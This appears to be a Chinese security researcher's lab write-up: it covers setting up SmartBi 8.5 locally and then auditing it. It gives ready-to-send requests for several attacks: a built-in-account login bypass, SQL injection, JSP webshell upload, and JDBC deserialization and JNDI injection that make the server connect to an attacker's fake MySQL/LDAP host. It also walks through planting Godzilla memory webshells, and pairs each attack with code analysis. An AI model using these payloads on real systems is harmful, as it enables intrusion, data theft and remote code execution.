SmartBi-8.5搭建&&审计

SmartBi-8.5搭建

一、下载

通过网盘分享的文件:SmartBi-8.5环境.zip
链接: https://pan.baidu.com/s/1bFYYEI9-g84IeLG_HoZlxA 提取码: hqb4

二、安装

image-20250821000100076

用户名和公司名称随意

image-20250821000110498

更改安装目录

image-20250821000121312

此处,不要选择“安装演示库”,否则会报“报表数量超过限制”的错误

image-20250821000144553

不选择“注册为Windows服务”,内存大小默认即可

image-20250821000156009

登录首页的密码

三、license获取

官网地址:https://www.smartbi.com.cn/

license申请地址:https://my.smartbi.com.cn/index/index/customerindex/form_id/3.html

这里第一次进入需要注册\登录:

之后便可以申请了,邮箱要填正确,之后会将 license 发到邮箱里

选择个人版

之后在邮箱里可以看到发的:Smartbi-License.xml

获取 licence 后,将其放置在 E:\Smartbi\Tomcat\bin 文件夹 下

四、创建数据库

首先连接 Smartbi :

创建 Smartbi 数据库:

第一步连接好之后,是没有 smartbi 数据库的,需要自己创建

下面是 MySQL 的配置: database-name 在选择安装“演示数据库”时是: smartbidemo ;咋们没有选择,所以默认是: smartbi

E:\Smartbi\Tomcat\bin\smartbi-config.xml

  • 解决浏览器版本误判

    这一步可以看下面问题中的 1、

五、启动程序

方法一:

E:\Smartbi\Tomcat\bin\startup.cmd

运行 startup.cmd ,启动服务器

方法二:

系统开始菜单中找到 Smartbi 的安装目录,单击启动Smartbi服务

没有报错的话,就是启动成功了, 若到这一步服务启动有错,重启电脑!!!

六、配置程序

访问Smartbi:首次访问,需输入密码,这里的密码随意,我的是 admin

接下来的配置按照图中所示即可:

七、进入主页

重启服务后,再次点击 访问Smartbi ,会进入下方页面:

http://localhost:18080/smartbi/vision/index.jsp

首次访问登录页:

此处的旧密码是 manager ,之后自行修改一个新密码:

这是之后访问登录页:登录系统:

至此,Smartbi v8.5 环境搭建完成。

所遇问题

(按照上述方法安装后应该 不会有下列问题):

1、浏览器版本被错误检测

参考:https://www.xiaoheiwoo.com/windows-11-internet-explorer/

方法一:

从“管理加载项”窗口打开 Internet Explorer

IE中是可以通过 Internet属性 窗口,对浏览器进行功能设置的。

虽然 Win11默认找不到 IE的入口,但是 Internet属性 程序依然可以正常运行,我们可以点击其中的 管 理加载项 功能,打开 IE 浏览器。

步骤:

  1. 首先,按 Win + R 打开运行窗口

  2. 接下来,在运行命令框中输入 inetcpl.cpl

  3. 单击 确定 进入 Internet 属性窗口

  4. 选择 程序 选项卡,点击 管理加载项 按钮

  5. 然后,点击窗口底部 了解有关工具栏和扩展的详细信息

  6. 铛铛铛,你要的 IE浏览器出现啦~

方法二:注释掉判断语句

进入 E:\Smartbi\Tomcat\webapps\smartbi\vision

找到文件 config.jsp

将判断部分注释掉

2、报表数量超过限制

报这个问题是由于安装时选择了安装 演示数据库 ,不安装即可。

3、配置完成后无法正确访问到登陆页面,一直重定向到配 置页

问题:

如图,知识库连接成功,license上传成功。重启后访问 http://localhost:18080/smartbi 仍然跳转到配 置页面 http://localhost:18080/smartbi/vision/config.jsp。

配置完成后再次登录,显示服务启动不成功:

数据库正常连接:

正常访问跳转的页面:

http://localhost:18080/smartbi/vision/index.jsp

http://localhost:18080/smartbi/vision

http://localhost:18080/smartbi

都会重定向到 http://localhost:18080/smartbi/vision/config.jsp

修改:

1
2
3
4
//var chromeVer = ua.substr(chrome + 7,2);
->
var match = ua.match(/chrome\/(\d+)/i);
var chromeVer = match ? parseInt(match[1]) : 0;

能正确识别浏览器版本,但没什么用

smartbi审计:

介绍

SmartBI 是广州思迈特软件有限公司旗下的商业智能 BI 和数据分析品牌,是一款企业级大数据分析软件,能快速挖掘企业数据价值。集合数据可视化,探索性分析,自助式仪表盘以及一站式 ABI 平台,智慧数据运营平台,电子表格软件等等

分析

版本:SmartBi V8.5 JDK 8

传参方式(直接传输,RMIServlet加密)

RMIServlet加密、

先抓包,抓到的get,放行之后会出现post(smartbi程调用入口,是SmartBI 用自己的协议封装 HTTP 请求,把请求体加密后发给 RMIServlet)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 69
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=FA004C807237DA15E8841C4E8D2C02BF
Priority: u=0

encode=zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu71'f11fuu/u7uu/NOuu/NO1m/uu/JT
  1. 追踪,RMIServlet加密的解密流程在 TraceFilter 的 doFilter ⽅法

    (用 F12 → Network → 点击这个 RMIServlet 请求 → 在 Initiator 或 调用栈 里看哪个 JS 文件生成了 encode)

    Smartbi\Tomcat\bin\exts-smartbi\smartbiExtension4478727347500549277.tmp\META-INF\classes\smartbix\smartbi\filter\SmartbiXTraceFilter.class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    public class SmartbiXTraceFilter extends TraceFilter {
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            boolean hasStartup = false;
            if (FreeQueryModule.getInstance() != null && FreeQueryModule.getInstance().getFramework() != null) {
                hasStartup = FreeQueryModule.getInstance().getFramework().isServerStartupSucceed();
            }
    
            if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && hasStartup) {
                if (SessionLogService.getInstance().getMlogs().size() == 0 && SessionLogService.getInstance().getUlogs().size() == 0) {
                    chain.doFilter(request, response);
                } else {
                    boolean need2Log = true;
                    HttpServletRequest httpRequest = (HttpServletRequest)request;
                    httpRequest.setCharacterEncoding("UTF-8");
                    HttpSession session = httpRequest.getSession(false);
                    if (session == null) {
                        need2Log = false;
                    } else {
                        String className = httpRequest.getParameter("className");
                        String methodName = httpRequest.getParameter("methodName");
                        need2Log = this.checkNeedToLog(className, methodName);
                    }
    
                    if (!need2Log) {
                        chain.doFilter(httpRequest, response);
                    } else {
                        RMILog rmiLog = new RMILog();
                        RequestLog requestLog = new RequestLog();
                        ResponseLog responseLog = new ResponseLog();
                        rmiLog.setRequest(requestLog);
                        rmiLog.setResponse(responseLog);
                        this.parseRequestInfo(httpRequest, requestLog);
                        TraceFilter.WrapperedResponse wrapResponse = new TraceFilter.WrapperedResponse(this, (HttpServletResponse)response);
                        long startTime = System.currentTimeMillis();
                        chain.doFilter(httpRequest, wrapResponse);
                        long duration = System.currentTimeMillis() - startTime;
                        requestLog.setStart(startTime);
                        responseLog.setDuration(duration);
                        this.parseResponseInfo(wrapResponse, responseLog);
                        SessionLogService.getInstance().addRMILog(session.getId(), rmiLog);
                        ServletOutputStream out = response.getOutputStream();
                        out.write(wrapResponse.getResponseData());
                        out.flush();
                    }
                }
            } else {
                chain.doFilter(request, response);
            }
        }
  2. 根据映射表a进⾏解密,解密出来的字符串根据 空格/+ 来拆分为三个参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public static byte[] decode(String data) {
        char[] ibuf = new char[4];
        int ibufcount = 0;
        byte[] obuf = new byte[data.length() / 4 * 3 + 3];
        int obufcount = 0;
       
        for(int i = 0; i < data.length(); ++i) {
            char ch = data.charAt(i);
            if (ch == '=' || ch < S_DECODETABLE.length && S_DECODETABLE[ch] != 127) {
                ibuf[ibufcount++] = ch;
                if (ibufcount == ibuf.length) {
                    ibufcount = 0;
                    obufcount += decode0(ibuf, obuf, obufcount);
                }
            }
        }
       
        if (obufcount == obuf.length) {
            return obuf;
        } else {
            byte[] ret = new byte[obufcount];
            System.arraycopy(obuf, 0, ret, 0, obufcount);
            return ret;
        }
    }

直接传输

1
2
3
4
5
6
7
8
9
10
11
12
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Referer: http://127.0.0.1:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=D451AE905A8C9424DE83D2C921A73D4F
Connection: keep-alive
className=UserService&methodName=login&params=["admin","admin"]

将RMIServlet解密后的三个字符串,分别传输到 classNam e 、 methodName 和 params 参数中

漏洞复现

内置用户登陆绕过

安装时会产生内置用户,以特定接口,绕过⽤户身份认证机制,进而获得身份凭证,随后可使⽤获取的身份凭证调⽤后台接⼝,可能导致敏感信息泄露和代码执行

1
2
3
4
5
6
7
8
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/60
5.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 68
className=UserService&methodName=loginFromDB&params=["service","0a"]

解密得到的三个参数

payload:

结果返回true—————>直接利用set-cookie登录后台即可获取管理员权限

漏洞分析:

  1. 访问项目的web.xml,查看访问/vision/RMIServlet的过滤 (CheckIsLoggedFilter)

    image-20250811182130105

  2. Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FreeQuery.jar!\smartbi\freequery\filter\CheckIsLoggedFilter.class

    image-20250811210548785

    needToCheck ⽅法对传⼊的 类名和⽅法名 进⾏检查,判断是否需要进⾏登录 检查

  3. 查看needToCheck

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    private boolean needToCheck(String className, String methodName) {
            if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) {
                if (className.equals("UserService") && StringUtil.isInArray(methodName, new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout", "isLogged", "isLoginAs", "checkVersion", "hasLicense"})) {
                    return false;
                } else if (className.equals("CompositeService") && StringUtil.isInArray(methodName, new String[]{"compositeLogin"})) {
                    return false;
                } else if (className.equals("BusinessViewService") && StringUtil.isInArray(methodName, new String[]{"closeBusinessView"})) {
                    return false;
                } else if (className.equals("DataSourceService") && StringUtil.isInArray(methodName, new String[]{"clearClientData"})) {
                    return false;
                } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getDefaultEncryptType"})) {
                    return false;
                } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getOAMSURL"})) {
                    return false;
                } else if (className.equals("DPPortalService") && StringUtil.isInArray(methodName, new String[]{"removePageBO"})) {
                    return false;
                } else if (methodName.equals("login")) {
                    return false;
                } else if (className.equals("CommonService") && StringUtil.isInArray(methodName, new String[]{"log"})) {
                    return false;
                } else {
                    return !className.equals("FingerTipsDataModule");
                }
            } else {
                return false;
            }
        }
  4. 寻找调用三种参数的方式

    RMIServlet 的 doPost ⽅法,接受传参,通过 processExecute ⽅法 进⾏反射调⽤⽅法

    \Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FrameworkRMI.jar!\smartbi\framework\rmi\RMIServlet.class

    image-20250811211750079

  5. 跟近processExecute ⽅法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    public String processExecute(HttpServletRequest request, String className, String methodName, String params) {
            ClientService service = RMIModule.getInstance().getService(className);//会根据 className 来寻找对应的 ClinetService 
            String resultStr = null;
    
            try {
                StringBuilder buff = (new StringBuilder()).append('{');
                if (service == null) {
                    if (className != null) {
                        Locale locale = CommonConfiguration.getInstance().getLocale();
                        String notFoundClass = StringUtil.replaceLanguage("${Notfoundclass}", locale);
                        throw (new SmartbiException(CommonErrorCode.UNKOWN_ERROR)).setDetail(className + " " + notFoundClass);
                    }
                } else {
                    long startTime = (new Date()).getTime();
                    Object obj = service.execute(methodName, new JSONArray(params));
                    long duration = (new Date()).getTime() - startTime;
                    if (obj == null) {
                        buff.append("\"retCode\":0");
                    } else if (!(obj instanceof Collection) && !obj.getClass().isArray()) {
                        if (!(obj instanceof Boolean) && !(obj instanceof Number)) {
                            if (obj instanceof String) {
                                buff.append("\"retCode\":0,");
                                buff.append("\"result\":");
                                JSONUtils.quote(obj.toString(), buff);
                            } else if (obj.getClass().isEnum()) {
                                buff.append("\"retCode\":0,");
                                buff.append("\"result\":");
                                JSONUtils.quote(((Enum)obj).name(), buff);
                            } else {
                                buff.append("\"retCode\":0,");
                                buff.append("\"result\":");
                                JSONObject.fromBeanToString(obj, buff);
                            }
                        } else {
                            buff.append("\"retCode\":0,");
                            buff.append("\"result\":");
                            buff.append(obj.toString());
                        }
                    } else {
                        buff.append("\"retCode\":0,");
                        buff.append("\"result\":");
                        JSONArray.fromObjectToString(obj, buff);
                    }
    
                    buff.append(",\"duration\":" + duration);
                }
    
                buff.append('}');
                resultStr = buff.toString();
                RMIModule.getInstance().doCommit();
            } catch (Exception ce) {
                if (className != null && methodName != null) {
                    resultStr = exceptionToString(className, methodName, ce);
                }
            }
    
            return resultStr;
        }
  6. 到UserManagerModule 的 loginFromDB 的⽅法

    image-20250811212506631

  7. SecurityServiceImpl 的 loginFromDB ⽅法对传⼊的账号密码进⾏判断,如果登录成 功返回true,即可返回管理员Cookie

    (其中service:0a是smartBi的内置账号)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public boolean loginFromDB(String username, String password) {
           boolean loginSucceed = false;
           IConnectionInfo info = this.userManagerModule.getDaoModule().getRepository().getConnectionInfo();
           Connection conn = null;
           PreparedStatement prep = null;
           ResultSet rs = null;
       
           try {
               conn = ConnectionPool.getInstance().getConnection(info);
               String sql = "select c_userpwd from t_user where c_username=?";
               prep = conn.prepareStatement(sql);
               prep.setString(1, username);
               rs = prep.executeQuery();
               if (rs.next()) {
                   String pass = rs.getString("c_userpwd");
                   loginSucceed = pass != null && pass.equals(password);
               }
       
               rs.close();
               prep.close();
           } catch (Exception e) {
               log.error(StringUtil.getLanguageValue("Unabletoaccessdata") + ": ", e);
           } finally {
               this.closeDBObject(rs, prep, conn);
           }

sql

payload:(1)

发包,直接获取数据库名(报错注入)

image-20250811215840293

漏洞分析:(1)

  1. smartbi/vision/FileResource(从名称入手)

    寻找FileResource相关的文件名称FileResourceServlet

    image-20250811213747684

    从 doGet ⽅法中,利用request.getParameter(“resId”) 获取resId参数,拼接到sql语句执行(没有使⽤预编译处理)

  2. 在web.xml查看相关路径的代码

    1
    2
    3
    4
    5
    6
    7
    8
    <servlet>
    		<servlet-name>FileResource</servlet-name>
    		<servlet-class>smartbi.freequery.fileresource.FileResourceServlet</servlet-class>
    	</servlet>
    	<servlet-mapping>
    		<servlet-name>FileResource</servlet-name>
    		<url-pattern>/vision/FileResource</url-pattern>
    	</servlet-mapping>
  3. 执⾏sql语句报错后,会将报错信息返回给客户端并弹窗提示,因此我们可以通过报错来进⾏注⼊

    image-20250811215709280

payload:(2)

1
2
3
4
5
6
7
8
9
10
POST /smartbi/vision/RMIServlet HTTP/1.1
Host:127.0.0.1:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/60
5.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Cookie: JSESSIONID=66D3B217CBE76A3BB32C771E6EB6429C
Content-Length: 99
className=UrlLinkService&methodName=getFileResource&params=["1'union selec
t database(),2,3,4,5,6#"]

抓包,使用union联合注入(有回显)(报错,盲注)

漏洞分析:(2)

  1. FileResourceDAO 中 getFileResource ⽅法中,这⾥我们看到 id参数为String类型,并且直接拼接到sql语句中并执⾏

    image-20250811224500461

  2. 跟近getFileResource,在 URLLinkService 的 getFileResource被调用

    1
    2
    3
    public FileResource getFileResource(String fileResourceID) {
            return FileResourceDAO.getInstance().getFileResource(fileResourceID);
        }
  3. image-20250811225032944

    存在 URLLinkService类,这代表我们可以通过反射调⽤该⽅法的任意类,同时参数可控

文件上传

payload:

  1. 这是一个后台漏洞,需要登录获取⽤户Cookie

    image-20250811220431605

  2. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /smartbi/vision/designer/imageimport.jsp HTTP/1.1
    Host: 127.0.0.1:18080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100
    101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    X-File-Type: image
    X-File-Name: 1.jsp
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------292
    7288396864
    Content-Length: 16
    Cookie: FQPassword=; JSESSIONID=AE628E59E970577DD994954A693517C8
    <%="CurlySean"%>
  3. 访问/smartbi/vision/designer/image/1.jsp

    发现出现CurlySean

漏洞分析:

  1. smartbi/vision/designer/imageimport.jsp ⽂件

    Smartbi\Tomcat\webapps\smartbi\vision\designer\imageimport.jsp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <%@ page import="java.io.*"%>
    <%
    try {
    	String path = request.getSession().getServletContext().getRealPath("") + "/vision/designer/images/";
    	File dir = new File(path);
    	if (!dir.exists()) {
    		dir.mkdirs();
    	}
    	String fileName = new String(request.getHeader("X-File-Name").getBytes("ISO-8859-1"), "UTF-8");
    	String fileType = request.getHeader("X-File-Type");
    	if(fileType.indexOf("image") == -1) {
    		response.setContentType("text/html; charset=UTF-8");
    		response.resetBuffer();
    		response.getOutputStream().write("error file type!".getBytes("UTF-8"));
    		return;
    	}
    	File file = new File(path + fileName);
    	FileOutputStream fos = new FileOutputStream(file);
    	int bytesRead;
    	byte[] buf = new byte[1024]; // 4K buffer
    	while ((bytesRead = request.getInputStream().read(buf)) != -1) {
    		fos.write(buf, 0, bytesRead);
    	}
    	fos.flush();
    	fos.close();
    	smartbi.net.sf.json.JSONObject jobj = new smartbi.net.sf.json.JSONObject();
    	jobj.put("url", path.substring(path.lastIndexOf("images/")) + "/" + fileName);
    	//jobj.put("dir", dir.getCanonicalPath());
    	String resultStr = jobj.toString();
    	response.setContentType("text/html; charset=UTF-8");
    	response.resetBuffer();
    	response.getOutputStream().write(resultStr.getBytes("UTF-8"));
    } catch (Exception e) {
    	e.printStackTrace();
    }
    %>

    通过拼接获取⽂件上传的路径,没有则创建

    从请求头重获取 X-File-Name 作为⽂件名,判断 X-File-Type 是否以 image 开头,不是则 报错

    从请求体中读取输⼊流,写⼊⽂件中

    (对⽂件的后缀和内容没有任何过滤,直接上传Jsp⽂件即可)

SmartBi-JDBC反序列化

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 69
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=E5045F082547A15B8646D2E018EB591A
Priority: u=0

className=DataSourceService&methodName=testConnection&params=[{"password"%
3a"","maxConnection"%3a100,"user"%3a"","driverType"%3a"MYSQL","validationQ
uery"%3a"SELECT+1+FROM+DUAL","url"%3a"jdbc%3amysql%3a//xxxx.xxx.xxx.xxx%3a
3308/d9f8b01%3fautoDeserialize%3dtrue%26statementInterceptors%3dcom.mysql.
jdbc.interceptors.ServerStatusDiffInterceptor","name"%3a"JDBC","driver"%3
a"com.mysql.jdbc.Driver","id"%3a"","desc"%3a"","alias"%3a"","dbCharset"%3
a"","identifierQuoteString"%3a"`","transactionIsolation"%3a-1,"validationQ
ueryMethod"%3a0,"dbToCharset"%3a"","authenticationType"%3a"STATIC"}]

弹出计算器

首先搭建在公⽹VPS上搭建FakeMysql服务器

发送数据包后,我们的smartBi服务器尝试连接fakeMysql服务器,通过反序列化即可成功执⾏命令

image-20250812181350575

漏洞分析:

  1. 通过查找SmartBi的Jar包,发现 mysql-connector-java 的依赖版本为5.1.44,是存在JDBC反序列 化漏洞的版本

    image-20250812181512068

  2. 需要找到⼀个发序列化链

    pom.xml中,发现 common-collections 依赖,版本 3.2.1 ,存在CC反序列化

    image-20250812182127446

  3. 配置payload时,配置K1链⼦,⽣成payload即可

    image-20250812182159537

  4. 漏洞产⽣点在 DataSourceService 中的 testConnection 中

    1
    2
    3
    public void testConnection(IDataSource dataSource) {
           MetaDataServiceImpl.getInstance().testConnection(dataSource);
       }
  5. 正常调⽤会⾛到 MetaDataServiceImpl 的 testConnection 中,执⾏该语句,服务器就会向远 程FakeMysql尝试连接,就会接收到FakeMysql返回的恶意序列化数据,在反序列化过程中,就会触发我 们所构造的payload

    image-20250812182609648

  6. 要调⽤ DataSourceService 的 testConnection ⽅法,我们可以通过 /vision/RMIServle t 的反射调⽤某类的某⽅法进⾏调⽤,构造payload如下(在POST数据包中,需要进⾏⼀次URL编码, 否则会报错)

在进⾏⽅法调⽤时,会将我们传⼊的字符串类型参数 params ,转换成⼀个JsonArray类型的参数

image-20250812182902720

步⼊ execute ⽅法中,以下部分代码,可以将JSON对象转化成Object对象

image-20250812182957914

然后将var5对象传⼊ testConnection ⽅法中

1
2
3
public void testConnection(IDataSource dataSource) {
        MetaDataServiceImpl.getInstance().testConnection(dataSource);
    }

再进⼀步,会将dataSource中存储的信息⼀⼀拿出,⽤于后续的数据源连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void testConnection(IDataSource dataSource) {
       DataSource ds = new DataSource();
       ds.setId(UUIDGenerator.generate());
       ds.setName(dataSource.getName());
       ds.setAlias(dataSource.getAlias());
       ds.setDriver(dataSource.getDriver());
       ds.setDesc(dataSource.getDesc());
       ds.setDbCharset(dataSource.getDbCharset());
       ds.setUrl(dataSource.getUrl());
       ds.setUser(dataSource.getUser());
       ds.setDriverType(dataSource.getDriverType());
       ds.setMaxConnection(dataSource.getMaxConnection());
       ds.setValidationQuery(dataSource.getValidationQuery());
       ds.setPassword(dataSource.getPassword());
       ds.setTransactionIsolation(dataSource.getTransactionIsolation());
       ds.setValidationQueryMethod(dataSource.getValidationQueryMethod());
       ds.setAuthenticationType(dataSource.getAuthenticationType());
       if (dataSource.getPassword() == null && !StringUtil.isNullOrEmpty(dataSource.getId())) {
           DataSource dbDs = FreeQueryDAOFactory.getDataSourceDAO().load(dataSource.getId());
           ds.setPassword(dbDs.getPassword());
       }

内存马:

  1. 配置好⼯具类型、中间件、内存⻢类型、密码等信息,点击⽣成class⽂件

    image-20250812183232630

  2. 使⽤javaChains⼯具进⾏注⼊,选择⾃定义字节码,将我们⽣成的class⽂件上传上去

    image-20250812183305769

  3. ⽤我们的Poc将内存⻢注⼊进去

    image-20250812183343304

  4. 配置哥斯拉密码密钥信息,同时设置请求配置(与内存⻢设置请求头⼀样)

    image-20250812183359493 image-20250812183413264
  5. 可以看到成功连接并执⾏命令

    image-20250812183434734

SmartBi-JNDI注⼊

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 483
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=E5045F082547A15B8646D2E018EB591A
Priority: u=0

className=DataSourceService&methodName=testConnection&params=[{"password"%
3a"","maxConnection"%3a100,"user"%3a"","driverType"%3a"MYSQL","validationQ
uery"%3a"SELECT+1+FROM+DUAL","url"%3a"JNDI:ldap://xxxx.xxx.xxx.xxx:50389/0
7e967","name"%3a"JDBC","driver"%3a"com.mysql.jdbc.Driver","id"%3a"","des
c"%3a"","alias"%3a"","dbCharset"%3a"","identifierQuoteString"%3a"`","trans
actionIsolation"%3a-1,"validationQueryMethod"%3a0,"dbToCharset"%3a"","auth
enticationType"%3a"STATIC"}]

使⽤JavaChains⽣成Payload

image-20250812183630155

发送数据包成功执⾏命令,弹出计算器

漏洞分析:

  1. 漏洞点同上

    image-20250812183759234

  2. ⾛⼊ ConnectionPool 的 getConnection ⽅法⾥,有这么⼀个判断,如果获取的URL是以 JDN I: 开头,就会将 JNDI: 截取,对剩下的部分调⽤ lookup()

    image-20250812184549730

  3. ⽣成payload JNDI:ldap://xxxx.xxx.xxx.xxx:50389/07e967

内存马:

  1. 内存⻢可以使⽤JavaChains进⾏注⼊,选择调⽤Jmg⽣成注⼊内存⻢

    (配置内存⻢的⼯具种类、内存⻢类型、中间件类型等等,然后点击⽣成)

    image-20250812184700407

  2. 发送Payload进⾏注⼊内存⻢

    image-20250812184730041

  3. 打开哥斯拉,配置⽬标信息

    image-20250812184746918

  4. 记住根据配置的请求头,在哥斯拉中设置请求配置

    image-20250812184756424

    image-20250812184804807

  5. 可以看到内存⻢注⼊成功,可以连接并进⾏命令执⾏

    image-20250812184820515

前台JDBC反序列化

payload:

1
2
3
4
5
6
7
8
9
POST /smartbi/vision/SyncServlet HTTP/1.1
Host:127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 139

type=sqldictsync&dbNameOnly=false&dbType=MYSQL&dbServer=xxx.xxx.xxx.xxx:330
8&dbName=dec03db?detectCustomCollations=true%26autoDeserialize=yes

通过JavaChains起⼀个fakeMysql服务器,发送Poc让smartBi服务器连接fakeMysql,即可触发反序列 化漏洞

直接弹出计算器

漏洞分析:

  1. 查看web.xml⽂件, SyncServlet 配置到了 /vision/SyncServlet 路径下,且经过查看,并没 有配置检查是否登录的过滤器,因此访问该路径不需要登录

    1
    2
    3
    4
    5
    6
    7
    8
    servlet>
    		<servlet-name>SyncServlet</servlet-name>
    		<servlet-class>smartbi.freequery.sync.SyncServlet</servlet-class>
    	</servlet>
    	<servlet-mapping>
    		<servlet-name>SyncServlet</servlet-name>
    		<url-pattern>/vision/SyncServlet</url-pattern>
    	</servlet-mapping>
  2. 在 SyncServlet 的 doPost ⽅法中, (new SyncResources()).synchronize(type, dbSe rver, clientId, dbUser, fieldName, querySql) 中将接受的参数传⼊ synchronize 中

    image-20250812185324525

  3. 跟进synchronize

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public String synchronize(String dbType, String dbServer, String dbName, String dbUser, String dbPass, String querySql) throws Exception {
            Connection conn = DbUtil.getConnection(dbType, dbServer, dbName, dbUser, dbPass, (String)null);    //跟进
            if (conn == null) {
                throw new IllegalArgumentException(StringUtil.getLanguageValue("Incomingconnectionparametererrorestablishconnectionfailed"));
            } else {
                int colsCount = 8;
                Reader reader = new ResultSetReader(conn, querySql, colsCount);
                DictTree tree = new DictTree(reader);
                return this.doSynchronize(tree);
            }
        }
  4. 跟进 DbUtil.getConnection(…) 中

    主要有以下三个部分 :

    检查是否⽀持 dbType 类型的数据库连接

    根据传⼊参数,拼接数据库连接源

    配置信息,进⾏连接

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    public static Connection getConnection(String dbType, String dbServer, String dbName, String dbUser, String dbPass, String connName) throws Exception {
            DBType driverType = null;
    
            try {
                driverType = DBType.valueOf(dbType.toUpperCase());//判断dbType手机都在数据库类型表中
            } catch (Exception var9) {
                return null;
            }
    
            String[] drvInfo = translateDriverInfo(driverType, dbServer, dbName);//通过传入的参数进行url拼接
            if (drvInfo == null) {
                return null;
            } else {
                DefaultConnectionInfo info = new DefaultConnectionInfo();
                info.setId(UUIDGenerator.generate());
                info.setName(connName);
                info.setDriverType(driverType);
                info.setDriver(drvInfo[0]);
                info.setUrl(drvInfo[1]);
                info.setUser(dbUser);
